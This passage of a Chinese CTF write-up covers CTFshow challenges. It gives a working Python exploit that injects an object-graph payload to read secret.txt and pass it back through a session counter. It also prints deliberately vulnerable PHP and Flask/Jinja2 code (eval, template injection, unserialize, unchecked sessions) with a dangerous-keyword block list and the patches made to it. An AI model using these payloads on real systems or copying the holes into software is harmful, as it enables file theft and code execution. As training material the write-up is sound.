if isinstance(node.value, bool):
return "T" if node.value else "F"
return f"I{int(node.value)}"
if isinstance(node, ast.Name):
return f"N:{node.id}"
if isinstance(node, ast.Attribute):
if isinstance(node.value, ast.Name):
return f"A:{node.value.id}.{node.attr}"
return "A:<?>"
if isinstance(node, ast.Compare):
ops = [op.__class__.__name__ for op in node.ops]
comps = ",".join(_canon(c) for c in node.comparators)
return f"C({_canon(node.left)}|{','.join(ops)}|{comps})"
if isinstance(node, ast.BoolOp):
op = "AND" if isinstance(node.op, ast.And) else "OR"
vals = ",".join(_canon(v) for v in node.values)
return f"B({op}|{vals})"
if isinstance(node, ast.UnaryOp) and isinstance(node.op, ast.Not):
return "NOT(*)"
return "<?>"可以看出这里大多数返回值都不是固定值,只有NOT是固定的
再看execute路由
nonce = request.form.get("nonce", "")
sig = request.form.get("sig", "")必须接收两个参数,所以我们可以传入一句以not开头的表达式,获得这个固定的sig和nonce
接着往下看
if decision:
st.stage += 1当stage大于1000时,会给我们假的flag。。。
@app.get("/flag")
def flag():
sid = _get_sid()
st = _get_state(sid)
if st.stage > 1000:
#本题flag格式为 ctfshow{xxxxxxxxxxxxxxx}
resp = make_response(render_template("flag.html", flag="flag{welcome_2o_cs_2026}"))
else:
resp = make_response("OK\n", 200)
return resp但是这里没有其他方法能够回显flag,怎么办呢
我们看到status路由
@app.get("/status")
def status():
sid = _get_sid()
st = _get_state(sid)
_touch(st)
resp = jsonify({"ok": True, "stage": st.stage})
resp.set_cookie("sid", sid, httponly=True, samesite="Lax")
return resp这里返回值是stage,stage我们是可控的,这就意味着我们可以将flag转成数字再转回来,用stage来实现带出
现在目标就明确了,读取到secret.txt,污染stage为int型的flag形式,并且带出
给出exp
import requests
URL = "http://c8891a4a-90b8-40af-9cc0-b26b27392d90.challenge.ctf.show/"
s = requests.Session()
# 1. 依然使用 "not 1" 获取万能签名
res1 = s.post(URL + "/prepare", data={"payload": "not 1"}).json()
nonce = res1["nonce"]
sig = res1["sig"]
print(f"[+] 拿到万能签名: {sig}")
# 2. 构造读取文件的 Payload
# 我们将读取的内容转为整数存入 stage
evil_logic = (
"user.__class__.__init__.__globals__['_sessions']"
".get(user.__class__.__init__.__globals__['request'].cookies.get('sid'))"
".__setattr__('stage', (1).__class__.from_bytes("
"user.__class__.__init__.__globals__['os'].read("
"user.__class__.__init__.__globals__['os'].open('secret.txt', 0), 64), 'big'))"
)
# 封装在 not 中触发漏洞
full_payload = f"not ({evil_logic})"
# 3. 发送攻击
print("[*] 正在读取远程 secret.txt...")
s.post(URL + "/execute", data={
"payload": full_payload,
"nonce": nonce,
"sig": sig
})
# 4. 从 /status 获取 stage 里的数值并还原
status = s.get(URL + "/status").json()
flag_int = status.get("stage", 0)
if flag_int > 10000: # 如果数字很大,说明读取成功
# 将整数还原为字节流
flag_bytes = flag_int.to_bytes((flag_int.bit_length() + 7) // 8, 'big')
print(f"[!] 真正的 Flag 是: {flag_bytes.decode(errors='ignore').strip()}")
else:
print("[-] 读取失败,请检查文件路径或权限")这里的完整污染连如下:
evil_logic = "user.__class__.__init__.__globals__['_sessions'].get(user.__class__.__init__.__globals__['request'].cookies.get('sid')).__setattr__('stage', (1).__class__.from_bytes(user.__class__.__init__.__globals__['os'].read(user.__class__.__init__.__globals__['os'].open('secret.txt', 0), 64), 'big'))"起点任意
AWDP防御部分
1 SafeCalc
calc.php
<?php
header('Content-Type: application/json; charset=utf-8');
$expr = $_POST['expr'] ?? '';
if (!is_string($expr)) fail('bad request');
$expr = trim($expr);
if ($expr === '') fail('empty');
if (strlen($expr) > 100) fail('too long');
$out="";
eval("\$out=($expr);");
echo json_encode(['ok' => true, 'result' => $out], JSON_UNESCAPED_UNICODE);
function fail(string $msg, int $code = 400): void {
http_response_code($code);
echo json_encode(['ok' => false, 'error' => $msg], JSON_UNESCAPED_UNICODE);
exit;
}
index.php
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>SafeCalc</title>
<style>
:root{
--bg:#07070b;
--panel:rgba(12,12,18,.75);
--panel2:rgba(18,18,26,.85);
--txt:#e8f0ff;
--muted:#98a3b8;
--cyan:#3cf3ff;
--mag:#ff3df2;
--red:#ff3b6b;
--ok:#39ff88;
--shadow: 0 0 18px rgba(60,243,255,.18), 0 0 38px rgba(255,61,242,.12);
--shadow2: 0 0 22px rgba(255,59,107,.18), 0 0 50px rgba(60,243,255,.10);
--radius: 18px;
--grid-gap: 10px;
--btnH: 52px;
--font: ui-sans-serif, system-ui, -apple-system, Segoe UI, Roboto, Helvetica, Arial, "PingFang SC","Microsoft YaHei", sans-serif;
--mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", monospace;
}
*{box-sizing:border-box}
body{
margin:0; min-height:100vh; display:grid; place-items:center;
background: radial-gradient(1200px 800px at 20% 15%, rgba(60,243,255,.12), transparent 55%),
radial-gradient(900px 700px at 85% 20%, rgba(255,61,242,.10), transparent 55%),
radial-gradient(1200px 900px at 50% 90%, rgba(255,59,107,.10), transparent 55%),
linear-gradient(180deg, #050507, #07070b 45%, #050507);
color:var(--txt);
font-family:var(--font);
overflow-x:hidden;
}
.wrap{
width:min(420px, 92vw);
padding:22px;
position:relative;
}
.frame{
border-radius: calc(var(--radius) + 10px);
padding:18px;
background: linear-gradient(135deg, rgba(60,243,255,.12), rgba(255,61,242,.10));
box-shadow: var(--shadow2);
position:relative;
}
.frame::before{
content:"";
position:absolute; inset:1px;
border-radius: calc(var(--radius) + 9px);
background: rgba(0,0,0,.35);
backdrop-filter: blur(10px);
-webkit-backdrop-filter: blur(10px);
pointer-events:none;
}
.panel{
position:relative;
border-radius: var(--radius);
background: linear-gradient(180deg, rgba(18,18,26,.92), rgba(10,10,16,.86));
border: 1px solid rgba(255,255,255,.06);
box-shadow: var(--shadow);
padding:16px;
overflow:hidden;
}
.panel::after{
content:"";
position:absolute; inset:-2px;
background: linear-gradient(90deg, transparent, rgba(60,243,255,.10), transparent);
transform: translateX(-45%);
animation: scan 4.5s linear infinite;
pointer-events:none;
opacity:.55;
}
@keyframes scan{
0%{transform: translateX(-55%)}
100%{transform: translateX(55%)}
}
.top{
display:flex;
justify-content:space-between;
align-items:center;
gap:12px;
margin-bottom:10px;
}
.brand{
display:flex; flex-direction:column; gap:2px;
letter-spacing:.08em;
}
.brand .t{
font-weight:800;
font-size:14px;
text-transform:uppercase;
color: rgba(232,240,255,.92);
}
.brand .s{
font-family: var(--mono);
font-size:12px;
color: var(--muted);
}
.pill{
padding:6px 10px;
border-radius:999px;
border:1px solid rgba(255,255,255,.08);
background: rgba(0,0,0,.25);
font-family: var(--mono);
font-size:12px;
color: rgba(60,243,255,.95);
box-shadow: 0 0 14px rgba(60,243,255,.12);
white-space:nowrap;
}
.display{
border-radius: 14px;
padding:12px 12px 10px;
background: linear-gradient(180deg, rgba(0,0,0,.42), rgba(0,0,0,.22));
border:1px solid rgba(255,255,255,.07);
box-shadow: inset 0 0 18px rgba(0,0,0,.55);
margin-bottom:12px;
}
.expr{
font-family: var(--mono);
font-size:15px;
line-height:1.3;
color: rgba(232,240,255,.92);
white-space:nowrap;
overflow:hidden;
text-overflow:ellipsis;
min-height: 20px;
}
.resultRow{
display:flex; align-items:flex-end; justify-content:space-between; gap:10px;
margin-top:8px;
}
.result{
font-family: var(--mono);
font-size:28px;
font-weight:800;
color: rgba(57,255,136,.95);
text-shadow: 0 0 10px rgba(57,255,136,.18);
overflow:hidden;
text-overflow:ellipsis;
white-space:nowrap;
flex:1;
}
.status{
font-family: var(--mono);
font-size:12px;
color: var(--muted);
max-width: 45%;
text-align:right;
overflow:hidden;
text-overflow:ellipsis;
white-space:nowrap;
}
.keys{
display:grid;
grid-template-columns: repeat(4, 1fr);
gap: var(--grid-gap);
margin-top: 10px;
}
button{
height: var(--btnH);
border-radius: 14px;
border: 1px solid rgba(255,255,255,.08);
background: rgba(0,0,0,.26);
color: rgba(232,240,255,.92);
font-size: 16px;
font-weight: 700;
cursor:pointer;
transition: transform .08s ease, box-shadow .20s ease, border-color .20s ease, filter .20s ease;
box-shadow: 0 0 0 rgba(0,0,0,0);
user-select:none;
position:relative;
overflow:hidden;
}
button::before{
content:"";
position:absolute; inset:0;
background: radial-gradient(260px 120px at 30% 20%, rgba(60,243,255,.14), transparent 55%),
radial-gradient(220px 120px at 75% 25%, rgba(255,61,242,.10), transparent 60%);
opacity:.65;
pointer-events:none;
}
button:active{ transform: translateY(1px) scale(.99); }
button:hover{
border-color: rgba(60,243,255,.30);
box-shadow: 0 0 18px rgba(60,243,255,.14), 0 0 28px rgba(255,61,242,.10);
filter: brightness(1.05);
}
.op{ color: rgba(60,243,255,.95); }
.danger{ color: rgba(255,59,107,.95); }
.ok{ color: rgba(57,255,136,.95); }
.wide{ grid-column: span 2; }
.eq{
background: rgba(57,255,136,.10);
border-color: rgba(57,255,136,.18);
}
.eq:hover{
border-color: rgba(57,255,136,.35);
box-shadow: 0 0 18px rgba(57,255,136,.16), 0 0 28px rgba(60,243,255,.10);
}
.hint{
margin-top: 12px;
font-size: 12px;
color: rgba(152,163,184,.92);
line-height: 1.5;
}
.hint code{
font-family: var(--mono);
color: rgba(232,240,255,.88);
background: rgba(0,0,0,.25);
border: 1px solid rgba(255,255,255,.06);
padding: 1px 6px;
border-radius: 999px;
}
</style>
</head>
<body>
<div class="wrap">
<div class="frame">
<div class="panel">
<div class="top">
<div class="brand">
<div class="t">SafeCalc</div>
<div class="s">safe expression engine</div>
</div>
<div class="pill">CTFshow CS2026</div>
</div>
<div class="display">
<div id="expr" class="expr">0</div>
<div class="resultRow">
<div id="res" class="result">0</div>
<div id="status" class="status">ready</div>
</div>
</div>
<div class="keys" id="keys">
<button class="danger" data-k="AC">AC</button>
<button class="danger" data-k="DEL">DEL</button>
<button class="op" data-k="(">(</button>
<button class="op" data-k=")">)</button>
<button data-k="7">7</button>
<button data-k="8">8</button>
<button data-k="9">9</button>
<button class="op" data-k="/">÷</button>
<button data-k="4">4</button>
<button data-k="5">5</button>
<button data-k="6">6</button>
<button class="op" data-k="*">×</button>
<button data-k="1">1</button>
<button data-k="2">2</button>
<button data-k="3">3</button>
<button class="op" data-k="-">−</button>
<button class="wide" data-k="0">0</button>
<button data-k=".">.</button>
<button class="op" data-k="+">+</button>
<button class="wide eq ok" data-k="=">=</button>
</div>
<div class="hint">
支持:<code>+ - * /</code>、小数、括号、前置负号。<br/>
快捷键:<code>Enter</code> 计算,<code>Backspace</code> 删除,<code>Esc</code> 清空。
</div>
</div>
</div>
</div>
<script>
(() => {
const exprEl = document.getElementById('expr');
const resEl = document.getElementById('res');
const statusEl = document.getElementById('status');
let expr = "0";
let lastWasResult = false;
function setStatus(t){ statusEl.textContent = t; }
function render(){
exprEl.textContent = expr || "0";
}
function append(ch){
if (lastWasResult && /[0-9.(]/.test(ch)) {
expr = "0";
resEl.textContent = "0";
lastWasResult = false;
}
if (expr === "0" && /[0-9]/.test(ch)) expr = ch;
else expr += ch;
render();
}
function del(){
if (expr.length <= 1) expr = "0";
else expr = expr.slice(0, -1);
render();
}
function ac(){
expr = "0";
resEl.textContent = "0";
setStatus("ready");
lastWasResult = false;
render();
}
async function calc(){
setStatus("calculating…");
try{
const r = await fetch("calc.php", {
method:"POST",
headers: {"Content-Type":"application/x-www-form-urlencoded;charset=UTF-8"},
body: "expr=" + encodeURIComponent(expr)
});
const j = await r.json();
if (!j.ok) {
resEl.textContent = "ERR";
setStatus(j.error || "error");
lastWasResult = false;
return;
}
resEl.textContent = String(j.result);
setStatus("ok");
lastWasResult = true;
}catch(e){
resEl.textContent = "ERR";
setStatus("network error");
lastWasResult = false;
}
}
document.getElementById('keys').addEventListener('click', (e) => {
const b = e.target.closest('button');
if(!b) return;
const k = b.dataset.k;
if (k === "AC") return ac();
if (k === "DEL") return del();
if (k === "=") return calc();
append(k);
});
window.addEventListener('keydown', (e) => {
const k = e.key;
if (k === "Enter") { e.preventDefault(); return calc(); }
if (k === "Backspace") { e.preventDefault(); return del(); }
if (k === "Escape") { e.preventDefault(); return ac(); }
if (/^[0-9]$/.test(k)) return append(k);
if (k === "." || k === "(" || k === ")") return append(k);
if (k === "+" || k === "-" || k === "*" || k === "/") return append(k);
});
render();
})();
</script>
</body>
</html>
漏洞点在这里
eval("\$out=($expr);");猜测判定使用了)提前闭合,执行多条语句
我们只需要再套一层括号就能让测试exp失效,语句报错,从而使得exp失效
2 SafeCard
app.py
from flask import Flask, request, render_template
from jinja2 import Environment, BaseLoader
import os
import re
from datetime import datetime
app = Flask(__name__)
app.config["FLAG"] = os.environ.get("FLAG", "CTF{dev_flag_placeholder}")
jinja = Environment(
loader=BaseLoader(),
autoescape=True,
variable_start_string="${",
variable_end_string="}",
)
BLOCK_WORDS = [
"import", "os", "subprocess", "eval", "exec", "open", "read", "write",
"globals", "locals", "builtins", "class", "mro", "subclasses",
"request", "config", "cycler", "joiner", "namespace",
]
def heavy_filter(s: str) -> str:
if not isinstance(s, str):
return ""
s = s[:800]
s = s.replace("{{", "").replace("}}", "")
s = s.replace("{%", "").replace("%}", "")
s = s.replace("{#", "").replace("#}", "")
s = re.sub(r"[\x00-\x08\x0B\x0C\x0E-\x1F]", "", s)
lower = s.lower()
for w in BLOCK_WORDS:
if w in lower:
s = re.sub(re.escape(w), "", s, flags=re.IGNORECASE)
lower = s.lower()
s = s.replace("..", "").replace("//", "").replace("\\\\", "\\")
return s
@app.get("/")
def index():
return render_template("index.html")
@app.post("/preview")
def preview():
name = heavy_filter(request.form.get("name", ""))
tpl = heavy_filter(request.form.get("tpl", ""))
if name.strip() == "":
name = "Guest"
if tpl.strip() == "":
tpl = "新年快乐,${name}!愿你 2026 天天好心情~"
ctx = {
"name": name,
"year": str(datetime.now().year)
}
try:
out = jinja.from_string(tpl).render(ctx)
except Exception as e:
out = "模板渲染失败:请检查输入内容"
return {"ok": True, "html": out}
@app.get("/healthz")
def healthz():
return "ok"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
引入安全的沙箱环境
沙箱环境(SandboxedEnvironment)的作用:
- 属性访问限制:默认禁止访问以
_开头的私有属性和方法(如__init__)。 - 方法调用限制:限制可调用的函数。即使攻击者拿到了某个对象,如果该对象的方法不在白名单内,也无法执行。
- 危险操作拦截:拦截如
getattr、setattr等可能导致逃逸的操作。 - 运行开销控制:某些高级沙箱还可以限制执行时间或内存消耗,防止 ReDoS(拒绝服务攻击)。把这句话修改了
from jinja2 import SandboxedEnvironment as Environment; from jinja2 import BaseLoader3 SafePHP
webservice.php
<?php
function main_service($r){
router::go("admin");
}
function metrics_service($r){
check_login();
json_out(array('ok'=>true,'users'=>128,'jobs'=>7,'sync'=>date("Y-m-d H:i:s"),'n'=>s($r)['n']),s($r)['st']);
}
function users_service($r){
check_login();
$rows=array();
for($i=0;$i<8;$i++){
$rows[]=array('id'=>1000+$i,'name'=>'user'.($i+1),'role'=>($i%5===0?'maintainer':'developer'),'status'=>($i%3===0?'locked':'active'),'last'=>date('Y-m-d',time()-86400*$i));
}
$ss=s($r);
json_out(array('ok'=>true,'rows'=>$rows), $ss['n'], $ss['st']);
}
function admin_service($r){
$ap = check_admin();
$confPath=dirname(__DIR__).'/config.php';
$c=require $confPath;
$token = md5(md5($ap));
$token===$r['t']?json_out(array('ok'=>true,'s'=>$c['flag']),s($r)['n'],s($r)['st']):json_out(array('ok'=>false,'s'=>$ap),s($r)['n'],s($r)['st']);
}
function flag_service($r){
check_login();
call_user_func(str_replace("php","",$r['y']));
}
function repos_service($r){
check_login();
$rows=array(
array('name'=>'core','visibility'=>'private','size'=>'42MB','updated'=>date('Y-m-d',time()-86400*2)),
array('name'=>'plugins','visibility'=>'internal','size'=>'18MB','updated'=>date('Y-m-d',time()-86400*6)),
array('name'=>'mirror','visibility'=>'public','size'=>'7MB','updated'=>date('Y-m-d',time()-86400*11))
);
json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);
}
function jobs_service($r){
check_login();
$rows=array();
$states=array('running','queued','success','failed');
for($i=0;$i<10;$i++){
$rows[]=array('id'=>random_int(10,100),'type'=>($i%2?'sync':'build'),'state'=>$states[$i%4],'duration'=>strval(3+$i).'s','time'=>date('H:i:s',time()-$i*37));
}
json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);
}
function password_service($r,$sessionManager){
$user['role'] = $sessionManager->read()[2]['role'];
$user['username'] = $sessionManager->read()[2]['username'];
$user['password'] = (string)$r['password'];
$users = new Users();
json_out($users->update($user['username'],array("password"=>$user['password'],"role"=>$user['role'])),s($r)['n'],s($r)['st']);
exit;
}
function health_service($r){
json_out(array('ok'=>true,'time'=>date("Y-m-d H:i:s"),'service'=>'jcenter-admin','n'=>s($r)['n']),s($r)['st']);
}
function audit_service($r){
check_login();
$rows=array();
for($i=0;$i<12;$i++){
$rows[]=array('time'=>date('Y-m-d H:i:s',time()-$i*95),'who'=>($i%4===0?'system':'user'.($i%8+1)),'op'=>($i%3===0?'repo:write':'repo:read'),'ip'=>'10.0.0.'.(10+$i));
}
json_out(array('ok'=>true,'rows'=>$rows),s($r)['n'],s($r)['st']);
}
function logout_service($sessionManager){
$sessionManager->delete();
}
function login_service($r,$sessionManager){
$username = (string)$r['u'];
$password = (string)$r['p'];
$users = new Users();
if(!$users->exists($username)){
router::goLogin("用户名不存在");
}
$user = $users->get($username);
if($user['password']!==$password){
router::goLogin("密码错误");
}
$sessionManager->create($user['username'],$user['role']);
$ret['ok'] = true;
$ret['router']="/admin/admin.php?action=main";
echo json_encode($ret);
exit;
}
function unserialize_service($r){
unserialize($r['u']);
}
function s($r){
$st=isset($r['st'])?$r['st']:'ctfshow';
$n=isset($r['n'])?intval($r['n'])+1:0;
return array("st"=>$st,"n"=>$n);
}
这题改法很多样,这里讲两种
1.很暴力的方法,因为不需要保障服务完整性,所以我们可以直接修改flag的输出,删掉g
$token===$r['t']?json_out(array('ok'=>true,'s'=>$c['flag']),s($r)['n'],s($r)['st']):json_out(array('ok'=>false,'s'=>$ap),s($r)['n'],s($r)['st']);把g删掉,调用就失效了,无法输出flag,后端判定防御成功
2.预期解
这里我们先找一下漏洞点
<div class="r-url">https://jcenter.cs2026.com/admin/admin.php?ref=cache&JCJWT=<span class="sess" id="tok">b63b2f2f1a2c9a0d</span></div>
<h3 class="r-title"><a id="adminLink" href="/admin/admin.php?action=main&JCJWT=b63b2f2f1a2c9a0d">JCenter Manager Console</a></h3>
<div class="r-snippet">控制台入口(内部网络可访问)。</div>url中给出了JCJWT(管理员session),我们可以带上它直接登录管理员,修改密码时也没有校验session
function password_service($r,$sessionManager){
$user['role'] = $sessionManager->read()[2]['role'];
$user['username'] = $sessionManager->read()[2]['username'];
$user['password'] = (string)$r['password'];
$users = new Users();
json_out($users->update($user['username'],array("password"=>$user['password'],"role"=>$user['role'])),s($r)['n'],s($r)['st']);
exit;
}
直接信任sessionManager中的username,而且没有二次验证,直接能修改密码登录
可以增加校验进行防御
本文详解多道CTF题目解法及AWDP攻防技巧,涵盖密码分析、XXE、SSRF、PHP弱类型、Jinja2沙箱绕过等核心技术,结合代码审计与漏洞利用,展示完整的攻击链与防御策略。
由 AI 根据全文自动生成,仅供参考,以原文为准